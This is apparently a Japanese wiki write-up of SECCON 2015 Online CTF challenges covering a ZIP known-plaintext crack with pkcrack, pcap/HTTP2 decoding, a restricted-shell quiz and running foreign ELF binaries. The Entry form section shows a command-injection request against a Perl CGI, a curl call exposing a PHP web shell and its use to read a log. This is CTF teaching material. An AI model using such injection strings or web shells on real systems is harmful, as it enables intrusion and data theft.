「SECCON 2015 Online CTF」の版間の差分

提供: セキュリティ
移動: 案内検索
(Web/Network 100: Connect the server)
 
(同じ利用者による、間の3版が非表示)
行424: 行424:
 
sudo cat /proc/kmsg  
 
sudo cat /proc/kmsg  
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
== 200 Fragment2 ==
 +
Decode Me
 +
 +
80ポートへのアクセスなので、HTTPプロトコルではないか、と推測できます。ただのHTTPならデータが見えていて良いはずですが、見えていないので、[[HTTP2]]と予想しました。
 +
# [[Wireshark]] で fragment2.pcap を開きます。
 +
# Frame 1 を右クリックで選択し、 Decode As を選びます。
 +
# Tranport で [[HTTP2]]を選択します。
 +
 +
しかしながら、これではよくわかりません。
 +
 +
HyperText Transfeter Protocol 2 のところを Copy, Bytes, Offset Hex Text で、コピーします。
 +
このデータをデコードしてみます。
 +
 +
データは以下のとおりです。
 +
000c29f01342000c29468b8408004500008b420540004006e3550a80000a0a8000090050da94b8dd486a5631afd7801800eb58bd00000101080a000205b80002062a00003401040000000288c3c24085f2b4b40e6f94dd82f5ed5a7fff63ff7feeb119b46a200fff3ffd0f0d023137c1c0bf4089f2b4e94d625abb513f0131000011000100000002666c616720697320696e20686561646572
 +
 +
HTTP2 ということで、hpack 形式ではないか、ということで、デコードしてみます。
 +
<syntaxhighlight lang="bash">
 +
$ pip install hpack
 +
</syntaxhighlight>
 +
 +
力ざわでデコードしました。
 +
<syntaxhighlight lang="python">
 +
#! /usr/bin/env python
 +
# -*- coding: utf-8 -*-
 +
# vim:fenc=utf-8
 +
import hpack
 +
decoder = hpack.Decoder()
 +
 +
# ok data
 +
#data="88c3c24085f2b4b40e6f94dd82f5ed5a7fff63ff7feeb119b46a200fff3ffd0f0d023137c1c0bf4089f2b4e94d625abb513f0131000011000100000002666c616720697320696e20686561646572"
 +
data="000c29f01342000c29468b8408004500008b420540004006e3550a80000a0a8000090050da94b8dd486a5631afd7801800eb58bd00000101080a000205b80002062a00003401040000000288c3c24085f2b4b40e6f94dd82f5ed5a7fff63ff7feeb119b46a200fff3ffd0f0d023137c1c0bf4089f2b4e94d625abb513f0131000011000100000002666c616720697320696e20686561646572"
 +
 +
  while len(data):
 +
      try:
 +
          print decoder.decode(data.decode('hex') )
 +
      except:
 +
          print "err"
 +
      data = data[2:]
 +
</syntaxhighlight>
 +
 +
答えは、こんな感じでした。
 +
<syntaxhighlight lang="bash">
 +
$ python decode.py | fgrep SECCON
 +
[(u':method', u'FUd119e4-='), (u'max-forwards', u'SECCON{H++p2i5sOc0o|}'),
 +
(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
 +
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]
 +
[(u':method', u'*\x00\x004\x01\x04'), (u'', u''), (u':method', u'FUd119e4-='),
 +
(u'max-forwards', u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'),
 +
(u'x-http2-push', u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '),
 +
(u'if-modified-since', u'ader')] [(u':authority', u'\x00\x00\x00\x02'),
 +
(u':status', u'200'), (u'x-flag', u'SECCON{H++p2i5sOc0o|}'),
 +
(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
 +
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]
 +
[(u':authority', u'\x00\x00\x00\x02'), (u':status', u'200'), (u'x-flag',
 +
u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'), (u'x-http2-push',
 +
u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since',
 +
u'ader')] [(u'', u''), (u':method', u'FUd119e4-='), (u'max-forwards',
 +
u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'), (u'x-http2-push',
 +
u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since',
 +
u'ader')] [(u':method', u'FUd119e4-='), (u'max-forwards',
 +
u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'), (u'x-http2-push',
 +
u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since',
 +
u'ader')] [(u':status', u'200'), (u'x-flag', u'SECCON{H++p2i5sOc0o|}'),
 +
(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
 +
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]
 +
[(u'x-flag', u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'),
 +
(u'x-http2-push', u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '),
 +
(u'if-modified-since', u'ader')] [(u'x-flag', u'SECCON{H++p2i5sOc0o|}'),
 +
(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
 +
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]
 +
[(u'x-flag', u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'),
 +
(u'x-http2-push', u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '),
 +
(u'if-modified-since', u'ader')] [(u'max-forwards', u'SECCON{H++p2i5sOc0o|}'),
 +
(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
 +
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]
 +
</syntaxhighlight>
 +
== Steganography 1 ==
 +
1つのファイルにいくつもが画像が入っています。
 +
vim で開くと GIF が3つあるのが簡単にわかります。vim で 3つのGIFを簡単に切り出せます。
 +
複数のタイプの画像が1つになっているので、分割すれば、問題が解けるようになっています。
 +
== Steganography 2 ==
 +
== Steganography 3 ==
 +
== 4042 ==
 
== Binary 200: Individual Elebin ==
 
== Binary 200: Individual Elebin ==
 
   Execute all ELF files
 
   Execute all ELF files
行453: 行537:
 
</syntaxhighlight>
 
</syntaxhighlight>
  
 +
[[QEMU]]の下りは、試行錯誤の産物なので、意味が無いです。以前も似たような問題で、失敗した経験があります。
 
[[QEMU]] 祭を開催するのだと思い、エミュレータ [[QEMU]]をインストールします。
 
[[QEMU]] 祭を開催するのだと思い、エミュレータ [[QEMU]]をインストールします。
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
 
sudo apt install qemu binfmt-support qemu-user-static
 
sudo apt install qemu binfmt-support qemu-user-static
 
</syntaxhighlight>
 
</syntaxhighlight>
 
 
試してみましたが、ことごとく、あえなく轟沈。
 
試してみましたが、ことごとく、あえなく轟沈。
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
行466: 行550:
 
$ qemu-mips 11.bin  
 
$ qemu-mips 11.bin  
 
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
 
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
 +
</syntaxhighlight>
 +
 +
[[QEMU]]でCPUを推測できます。CPUを指定すると実行できました。crisv32 では、待たされたままになったので、強制終了しました。
 +
<syntaxhighlight lang="bash">
 +
$ qemu-cris-static -cpu help 8.bin
 +
Available CPUs:
 +
  crisv8
 +
  crisv9
 +
  crisv10
 +
  crisv11
 +
  crisv32
 +
[1]    8353 exit 1    qemu-cris-static -cpu help 8.bin
 +
薫 $ qemu-cris-static -cpu crisv32 8.bin
 +
 +
^C
 +
[1]    8365 interrupt  qemu-cris-static -cpu crisv32 8.bin
 +
薫 $ qemu-cris-static -cpu crisv11 8.bin
 +
AW%
 +
薫 $ qemu-cris-static -cpu crisv10 8.bin
 +
AW%                                 
 +
</syntaxhighlight>
 +
 +
実行できない...。
 +
<syntaxhighlight lang="bash">
 +
薫 $ qemu-m68k-static -cpu help 2.bin
 +
cfv4e
 +
m5206
 +
m5208
 +
any
 +
[1]    8436 exit 1    qemu-m68k-static -cpu help 2.bin
 +
薫 $ qemu-m68k-static -cpu m5208 2.bin
 +
2.bin: Invalid ELF image for this architecture
 +
[1]    8444 exit 255  qemu-m68k-static -cpu m5208 2.bin
 +
薫 $ qemu-m68k-static -cpu m5206 2.bin
 +
2.bin: Invalid ELF image for this architecture
 +
[1]    8448 exit 255  qemu-m68k-static -cpu m5206 2.bin
 +
薫 $ qemu-m68k-static -cpu cfv4e 2.bin
 +
2.bin: Invalid ELF image for this architecture
 +
[1]    8456 exit 255  qemu-m68k-static -cpu cfv4e 2.bin
 +
薫 $ qemu-m68k-static -cpu any 2.bin 
 +
2.bin: Invalid ELF image for this architecture
 +
[1]    8462 exit 255  qemu-m68k-static -cpu any 2.bin
 +
</syntaxhighlight>
 +
 +
[[QEMU]]ではなく、 gdb-アーキテクチャ-run みたいなコマンドで実行できます。
 +
ARM 32-bit ELF の 10.bin は、 arm-none-eabi-run コマンドで実行できます。
 +
Ubuntu 環境の場合は、以下のパッケージをインストールします。
 +
<syntaxhighlight lang="bash">
 +
sudo apt install gdb-arm-none-eabi
 +
</syntaxhighlight>
 +
それでは、10.bin を実行してみましょう。
 +
<syntaxhighlight lang="bash">
 +
$ file 10.bin
 +
10.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
 +
$ arm-none-eabi-run 10.bin
 +
8a0d28f%
 +
</syntaxhighlight>
 +
 +
arm-none-eabi-gdb を利用して、FreeBSDの amd64 (AMD 64bit)な環境で ARM用の32ビットELFを動かすことができます。
 +
<syntaxhighlight lang="bash">
 +
$ sudo pkg install -y arm-none-eabi-gdb
 +
$ uname -a
 +
FreeBSD a1.local 10.0-RELEASE-p7 FreeBSD 10.0-RELEASE-p7 #0: Tue Jul  8
 +
06:37:44 UTC 2014
 +
root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  amd64
 +
$ file 10.bin
 +
10.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
 +
$ arm-none-eabi-gdb 10.bin
 +
GNU gdb (GDB) 7.10
 +
Copyright (C) 2015 Free Software Foundation, Inc.
 +
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
 +
This is free software: you are free to change and redistribute it.
 +
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
 +
and "show warranty" for details.
 +
This GDB was configured as "--host=amd64-portbld-freebsd10.1 --target=arm-none-eabi".
 +
Type "show configuration" for configuration details.
 +
For bug reporting instructions, please see:
 +
<http://www.gnu.org/software/gdb/bugs/>.
 +
Find the GDB manual and other documentation resources online at:
 +
<http://www.gnu.org/software/gdb/documentation/>.
 +
For help, type "help".
 +
Type "apropos word" to search for commands related to "word"...
 +
Reading symbols from 10.bin...(no debugging symbols found)...done.
 +
(gdb) target sim
 +
Connected to the simulator.
 +
(gdb) load
 +
Loading section .text, size 0x848 vma 0x1400
 +
Loading section .rodata, size 0xe4 vma 0x1c48
 +
Loading section .data, size 0x4 vma 0x2000
 +
Start address 0x1400
 +
Transfer rate: 18816 bits in <1 sec.
 +
(gdb) run
 +
Starting program: /tmp/seccon201512/200_individual_elebin/Individual_Elebin/10.bin
 +
8a0d28f[Inferior 1 (process 42000) exited normally]
 +
(gdb) quit
 
</syntaxhighlight>
 
</syntaxhighlight>
 
== Exercises 50: Last Challenge (Thank you for playing) ==
 
== Exercises 50: Last Challenge (Thank you for playing) ==

2015年12月13日 (日) 16:58時点における最新版

2015/12/05 15:00 - 2015/12/06 15:00 の24時間に、SECCON 2015 Online CTF が開催されました。write-upです。

読み方

SECCON
せくこん

概要

最近、アメリカの利上げ関係で、アクセスが伸びているページがあるのですが、土日は、 SECCON CTF の影響かパスワードのクラックのページのアクセスが伸びてました。

Exercises 50: Start SECCON CTF

まずは、手始めの練習問題の出題です。

ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
  
ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}
  
quiz
Cipher:A}FFDNEVPFSGV}KZPN}GO
Plain: ?????????????????????
  
There is no bonus in this question

あまり、何も考える必要のない問題です。

$ echo 'A}FFDNEVPFSGV}KZPN}GO' | \
tr 'PXFR}QIVTMSZCNDKUWAGJB{LHYEO' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}'
SECCON{HACKTHEPLANET}

以上で終わりです。

Stegano 100: SECCON WARS 2015

動画からQRコードを読み取る問題です。

Crypto 100: Unzip the file

パスワード付 ZIP ファイルから FLAG の入っているファイルを取り出す問題です。 解き方は、既知平文攻撃です。

unzip するとパスワードがないため、ファイルが開けません。

$ unzip unzip
Archive:  unzip
[unzip] backnumber08.txt password:
   skipping: backnumber08.txt        incorrect password
   skipping: backnumber09.txt        incorrect password
   skipping: flag                    incorrect password

中に

backnumber08.txt
backnumber09.txt
flag

の3つのファイルがあることがわかります。

backnumber08 を検索エンジンで検索(ヤフー検索)してみると以下のファイルが存在することがわかりました。

上記のファイルをダウンロードしてきます。

7zip でダウンロードしたzipファイルの中身のファイルサイズを見ると、backnumber*.txt のサイズと一致していることがわかりました。あってそうですね。

PkCrack の使い方は、パスワードクラッキングツール pkcrack (or PkCrack)を参考にしました。

$ pkcrack -C unzip -c backnumber08.txt -p backnumber08.txt -d decrypted.zip
Warning! Plaintext is longer than Ciphertext!
Files read. Starting stage 1 on Sun Dec  6 18:56:26 2015
Generating 1st generation of possible key2_14193 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 957 values at offset 11566
省略
Lowest number: 104 values at offset 9512
Lowest number: 99 values at offset 9511
Done. Left with 99 possible Values. bestOffset is 9511.
Stage 1 completed. Starting stage 2 on Sun Dec  6 18:56:44 2015
Stage 2 completed. Starting zipdecrypt on Sun Dec  6 18:56:52 2015
No solutions found. You must have chosen the wrong plaintext.
Finished on Sun Dec  6 18:56:52 2015

上記は、失敗でした。

zipコマンドで、圧縮ファイルを作成します。

zip backnumber09.zip backnumber09.txt

以下のファイルを用意して、PkCrackを試します。

  • 暗号化されたzipファイル
  • プレインテキストのファイル
  • zipしたファイル
$ pkcrack -C unzip -c backnumber09.txt -p backnumber09.txt -Pbacknumber09.zip -d decrypted.zip
Warning! Plaintext is longer than Ciphertext!
Files read. Starting stage 1 on Sun Dec  6 19:05:00 2015
Generating 1st generation of possible key2_12075 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 982 values at offset 8086
省略
Lowest number: 92 values at offset 2853
Done. Left with 92 possible Values. bestOffset is 2853.
Stage 1 completed. Starting stage 2 on Sun Dec  6 19:05:22 2015
Stage 2 completed. Starting zipdecrypt on Sun Dec  6 19:05:23 2015
No solutions found. You must have chosen the wrong plaintext.
Finished on Sun Dec  6 19:05:23 2015
薫 $ ls
backnumber08.txt  backnumber09.zip  pw.txt            unzip
backnumber09.txt  crack1.sh         test.zip          zip.sh
薫 $ pkcrack -C unzip -c backnumber09.txt -p backnumber09.txt -P backnumber09.zip -d decrypted.zip
Files read. Starting stage 1 on Sun Dec  6 19:09:49 2015
Generating 1st generation of possible key2_4850 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Done. Left with 3342 possible Values. bestOffset is 24.
Stage 1 completed. Starting stage 2 on Sun Dec  6 19:10:12 2015
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Stage 2 completed. Starting zipdecrypt on Sun Dec  6 19:12:37 2015
Decrypting backnumber08.txt (5315a01322ab296c211eecba)... OK!
Decrypting backnumber09.txt (83e6640cbec32aeaf10ed1ba)... OK!
Decrypting flag (34e4d2ab7fe1e2421808bab2)... OK!
Finished on Sun Dec  6 19:12:37 2015

解読してできた zip ファイルを開きます。

$ unzip ../decrypted.zip
Archive:  ../decrypted.zip
  inflating: backnumber08.txt
  inflating: backnumber09.txt
  inflating: flag

flag ファイルを cat したら、画面がスゴイことになりました。

cat flag

表示が崩れたので、原因を探るために、flag のファイルを調べると マイクロソフトのWord のファイルでした。

$ file flag
flag: Microsoft Word 2007+

flag.docx として、ファイルを開きます。まっしろのファイルが出てきて、目が点になりました。C-a で全体選択すると、選択エリアが表示されますが、やはり何も見えません。 気にせず、vimにペースとしてみると、

SECCON{1s_th1s_passw0rd_ weak?}

とフラグが出てきました。

マイクロソフトのWordが入ってないので、OpenOffice で開いたんですけどね。

Binary 100: Reverse-Engineering Android APK 1

Web/Network 200: Fragment2

pcap ファイルから FLAG を見つける問題です。

Web/Network 100: Connect the server

問題は、これだけ。

login.pwn.seccon.jp:10000

接続すると以下のメッセージがでます。

$ ncat login.pwn.seccon.jp:10000
CONNECT 300
 
Welcome to SECCON server.
 
The server is connected via slow dial-up connection.
Please be patient, and do not brute-force.
 
login:
 
Login timer timed out.
Thank you for your cooperation.
 
HINT: It is already in your hands.
 
Good bye.

これを vim で開いてみます。怪しげなところが見えてきました。

Please be patient, and do not brute-force.
S^H ^HE^H ^HC^H ^HC^H ^HO^H ^HN^H ^H{^H ^HS^H ^Ho^H ^Hm^H ^He^H ^Ht^H ^Hi^H ^Hm^H ^He^H ^Hs^H ^H_^H ^Hw^H ^Hh^H ^Ha^H ^Ht^H ^H_^H ^Hy^H ^Ho^H ^Hu^H ^H_^H ^Hs^H ^He^H ^He^H ^H_^H ^Hi^H ^Hs^H ^H_^H ^HN^H ^HO^H ^HT^H ^H_^H ^Hw^H ^Hh^H ^Ha^H ^Ht^H ^H_^H ^Hy^H ^Ho^H ^Hu^H ^H_^H ^Hg^H ^He^H ^Ht^H ^H}^H ^H
login:


} が後ろに見えるので、 FLAG っぽいですね。

これは、文字を ^H で消しているらしいです。 そんなわけで、 ^H を除去します。

:s/^H//g

をvimで実行します。

S E C C O N { S o m e t i m e s _ w h a t _ y o u _ s e e _ i s _ N O T _ w h a t _ y o u _ g e t }

というわけで、だいたい完了ですね。

:s/ //g

スペースを除去すると

SECCON{Sometimes_what_you_see_is_NOT_what_you_get}

回答になります。

Unknown 100: Command-Line Quiz

 telnet caitsith.pwn.seccon.jp
 User:root
 Password:seccon
 The goal is to find the flag word by "somehow" reading all *.txt files.
 
 telnet caitsith.pwn.seccon.jp
 User:root
 Password:seccon
 すべての *.txt ファイルを読め
  • .txt は、最初から全部見えるわけではなく、問題をといていくと、読めるファイルが増えていきます。
$ telnet caitsith.pwn.seccon.jp
Trying 153.120.171.19...
Connected to caitsith.pwn.seccon.jp.
Escape character is '^]'.
 
CaitSith login: root
Password:
$ ls
bin         etc         init        linuxrc     sbin        stage2.txt  stage4.txt  tmp
dev         flags.txt   lib         proc        stage1.txt  stage3.txt  stage5.txt  usr
$ ls -lt
drwxrwxrwt    2 10085    10085          60 Dec  5 09:26 tmp
drwxr-xr-x    2 root     0            1880 Dec  5 05:18 bin
dr-xr-xr-x 1257 root     0               0 Dec  5 05:18 proc
drwxr-xr-x    2 root     0            1180 Dec  5 05:18 sbin
drwxr-xr-x    3 root     0             180 Dec  5 05:02 dev
drwxr-xr-x    2 root     0             100 Dec  5 05:02 etc
drwxr-xr-x    2 root     0              80 Dec  5 05:02 lib
drwxr-xr-x    4 root     0              80 Dec  5 05:02 usr
-rwx------    1 root     0           13750 Dec  5 05:01 init
-rw-r--r--    1 600      0              87 Dec  5 04:48 flags.txt
-rw-r--r--    1 100      0             262 Dec  5 04:48 stage1.txt
-rw-r--r--    1 200      0             265 Dec  5 04:48 stage2.txt
-rw-r--r--    1 300      0             270 Dec  5 04:48 stage3.txt
-rw-r--r--    1 400      0             247 Dec  5 04:48 stage4.txt
-rw-r--r--    1 500      0             280 Dec  5 04:48 stage5.txt
-rwxr-xr-x  313 root     0          831112 Feb 19  2015 linuxrc
$ cat stage1.txt
What command do you use when you want to read only top lines of a text file?
 
Set your answer to environment variable named stage1 and execute a shell.
 
  $ stage1=$your_answer_here sh
 
If your answer is what I meant, you will be able to access stage2.txt file.
$ stage1=head sh
$ ls -lt
drwxrwxrwt    2 10085    10085          60 Dec  5 09:26 tmp
drwxr-xr-x    2 root     0            1880 Dec  5 05:18 bin
dr-xr-xr-x 1257 root     0               0 Dec  5 05:18 proc
drwxr-xr-x    2 root     0            1180 Dec  5 05:18 sbin
drwxr-xr-x    3 root     0             180 Dec  5 05:02 dev
drwxr-xr-x    2 root     0             100 Dec  5 05:02 etc
drwxr-xr-x    2 root     0              80 Dec  5 05:02 lib
drwxr-xr-x    4 root     0              80 Dec  5 05:02 usr
-rwx------    1 root     0           13750 Dec  5 05:01 init
-rw-r--r--    1 600      0              87 Dec  5 04:48 flags.txt
-rw-r--r--    1 100      0             262 Dec  5 04:48 stage1.txt
-rw-r--r--    1 200      0             265 Dec  5 04:48 stage2.txt
-rw-r--r--    1 300      0             270 Dec  5 04:48 stage3.txt
-rw-r--r--    1 400      0             247 Dec  5 04:48 stage4.txt
-rw-r--r--    1 500      0             280 Dec  5 04:48 stage5.txt
-rwxr-xr-x  313 root     0          831112 Feb 19  2015 linuxrc
$ cat stage2.txt
What command do you use when you want to read only bottom lines of a text file?
 
Set your answer to environment variable named stage2 and execute a shell.
 
  $ stage2=$your_answer_here sh
 
If your answer is what I meant, you will be able to access stage3.txt file.
$ stage2=tail sh
$ cat stage3.txt
What command do you use when you want to pick up lines that match specific patterns?
 
Set your answer to environment variable named stage3 and execute a shell.
 
  $ stage3=$your_answer_here sh
 
If your answer is what I meant, you will be able to access stage4.txt file.
$ stage3=grep sh
$ cat stage4.txt
What command do you use when you want to process a text file?
 
Set your answer to environment variable named stage4 and execute a shell.
 
  $ stage4=$your_answer_here sh
 
If your answer is what I meant, you will be able to access stage5.txt file.
$ stage4=awk sh
$ cat stage5.txt
OK. You reached the final stage. The flag word is in flags.txt file.
 
flags.txt can be read by only one specific program which is available
in this server. The program for reading flags.txt is one of commands
you can use for processing a text file. Please find it. Good luck. ;-)
$ awk '{print $1}' flags.txt
awk: flags.txt: Operation not permitted
$
$ sed 's/s//' flags.txt
OK. You have read all .txt file. The flag word is shown below.
 
SECCON{CaitSith@AQUA}

Web/Network 100: Entry form

問題は、以下のとおりです。

http://entryform.pwn.seccon.jp/register.cgi
 
( Do not use your real mail address.)
(登録情報に他人に知られたくないメールアドレスは使用しないでください)
http://entryform.pwn.seccon.jp/register.cgi

にアクセスします。パスからもわかりますが、CGIが動いてます。 パラメータを弄くって、なにかするんだろ、と思いました。

メールアドレスを入れる欄があるので、入れてみますが、メールは届きません。

途方にくれていましたが、

http://entryform.pwn.seccon.jp/register.cgi

のディレクトリを漁ることになりました。

http://entryform.pwn.seccon.jp/

を見てみると

SECRETS
register.cgi
register.cgi_bak
logo.png

などのファイルがありました。

register.cgi_bak というファイルがあるので、ダウンロードしました。これは、register.cgi のソースコード(perl)です。

ソースコードをながめていると FLAG HERE というコメントがあります。

if($q->param("mail") ne '' && $q->param("name") ne '') {
  open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
  print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject:
 from SECCON Entry Form\n\nWe received your entry.\n";
  close(SH);
 
  open(LOG, ">>log"); ### <-- FLAG HERE ###

log というファイルに FLAG があるようです。

open 関数に、コマンドを流し込めば、なんとかできそうに見えます。

cat log

みたいなコマンドラインが突っ込めるとよさそうです。

register.cgi で cat log がうまくできなかったのと、 SECRETS のディレクトリが気になったので、そちらをあさってみました。

?mail=test%40a.com'%3B+ls+-l+.%2FSECRETS+%23&name=a&action=Send

みたいなリクエストを送ると、レスポンスに以下のテキストが入ってきます。

total 8
-r--r--r-- 1 root root 42 Dec  1 21:52 backdoor123.php
-r--r--r-- 1 root root 19 Dec  1 21:52 index.html

backdoor123.php という怪しいのがみつかります。で、これの中身が気になったので、ソースを眺めてみます。

$ curl -s "http://entryform.pwn.seccon.jp/register.cgi?mail=test%40gmail.com%27%3B+cat+.%2FSECRETS%2Fbackdoor123.php+%23&name=a&action=Send"
<?php system($_GET['cmd']); ?>

つまり、PHPのソースコードは以下のとおりです。

UNIQ44141d728c23909a-pre-00000013-QINU

ここまでくれば、問題が解けそうですね。

PHP を利用して、コマンドインジェクションしてみます。 FLAG が入っているとウワサのログ(log)ファイルを確認します。

http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat ../log
 
SECCON{Glory_will_shine_on_you.}

できた!ということで、解けました。

Binary 300: Exec dmesg

問題は、以下のとおりです。

Please find secret message from the iso linux image.
image.zip
  
秘密のメッセージをLinuxのisoイメージの中から見つけてください。
image.zip

Exec dmesgは、 Linux の iso イメージからヒミツのメッセージを見つけてください、という問題です。問題文から dmesg を実行したら良さそうに見えます。

まず、iso イメージのLinuxを起動します。 VMWare Player で新しい仮想マシンを作成して、インストールメディアとして tiny_linux/core-current.iso イメージをマウントして、起動します。

dmesg コマンドを実行してみますが、実行できず、確認できません。

tc@box:~$ dmesg
dmesg: applet not found

そこで、以下の手順で FLAG を探します。

$ cat /dev/kmsg | grep SECCON
7,311,180341,-;SECCON{elf32-i386}

これが、FLAGのようです。

/proc/kmsg では、見つかりませんでした。

sudo cat /proc/kmsg

200 Fragment2

Decode Me

80ポートへのアクセスなので、HTTPプロトコルではないか、と推測できます。ただのHTTPならデータが見えていて良いはずですが、見えていないので、HTTP2と予想しました。

  1. Wireshark で fragment2.pcap を開きます。
  2. Frame 1 を右クリックで選択し、 Decode As を選びます。
  3. Tranport で HTTP2を選択します。

しかしながら、これではよくわかりません。

HyperText Transfeter Protocol 2 のところを Copy, Bytes, Offset Hex Text で、コピーします。 このデータをデコードしてみます。

データは以下のとおりです。 000c29f01342000c29468b8408004500008b420540004006e3550a80000a0a8000090050da94b8dd486a5631afd7801800eb58bd00000101080a000205b80002062a00003401040000000288c3c24085f2b4b40e6f94dd82f5ed5a7fff63ff7feeb119b46a200fff3ffd0f0d023137c1c0bf4089f2b4e94d625abb513f0131000011000100000002666c616720697320696e20686561646572

HTTP2 ということで、hpack 形式ではないか、ということで、デコードしてみます。

$ pip install hpack

力ざわでデコードしました。

#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
import hpack
decoder = hpack.Decoder()
 
# ok data
#data="88c3c24085f2b4b40e6f94dd82f5ed5a7fff63ff7feeb119b46a200fff3ffd0f0d023137c1c0bf4089f2b4e94d625abb513f0131000011000100000002666c616720697320696e20686561646572"
data="000c29f01342000c29468b8408004500008b420540004006e3550a80000a0a8000090050da94b8dd486a5631afd7801800eb58bd00000101080a000205b80002062a00003401040000000288c3c24085f2b4b40e6f94dd82f5ed5a7fff63ff7feeb119b46a200fff3ffd0f0d023137c1c0bf4089f2b4e94d625abb513f0131000011000100000002666c616720697320696e20686561646572"
 
  while len(data):
      try:
          print decoder.decode(data.decode('hex') )
      except:
          print "err"
      data = data[2:]

答えは、こんな感じでした。

$ python decode.py | fgrep SECCON
[(u':method', u'FUd119e4-='), (u'max-forwards', u'SECCON{H++p2i5sOc0o|}'),
(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]
[(u':method', u'*\x00\x004\x01\x04'), (u'', u''), (u':method', u'FUd119e4-='),
(u'max-forwards', u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'),
(u'x-http2-push', u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '),
(u'if-modified-since', u'ader')] [(u':authority', u'\x00\x00\x00\x02'),
(u':status', u'200'), (u'x-flag', u'SECCON{H++p2i5sOc0o|}'),
(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]
[(u':authority', u'\x00\x00\x00\x02'), (u':status', u'200'), (u'x-flag',
u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'), (u'x-http2-push',
u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since',
u'ader')] [(u'', u''), (u':method', u'FUd119e4-='), (u'max-forwards',
u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'), (u'x-http2-push',
u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since',
u'ader')] [(u':method', u'FUd119e4-='), (u'max-forwards',
u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'), (u'x-http2-push',
u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since',
u'ader')] [(u':status', u'200'), (u'x-flag', u'SECCON{H++p2i5sOc0o|}'),
(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]
[(u'x-flag', u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'),
(u'x-http2-push', u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '),
(u'if-modified-since', u'ader')] [(u'x-flag', u'SECCON{H++p2i5sOc0o|}'),
(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]
[(u'x-flag', u'SECCON{H++p2i5sOc0o|}'), (u'content-length', u'17'),
(u'x-http2-push', u'1'), (u'', u'\x00\x01\x00\x00\x00\x02flag is in '),
(u'if-modified-since', u'ader')] [(u'max-forwards', u'SECCON{H++p2i5sOc0o|}'),
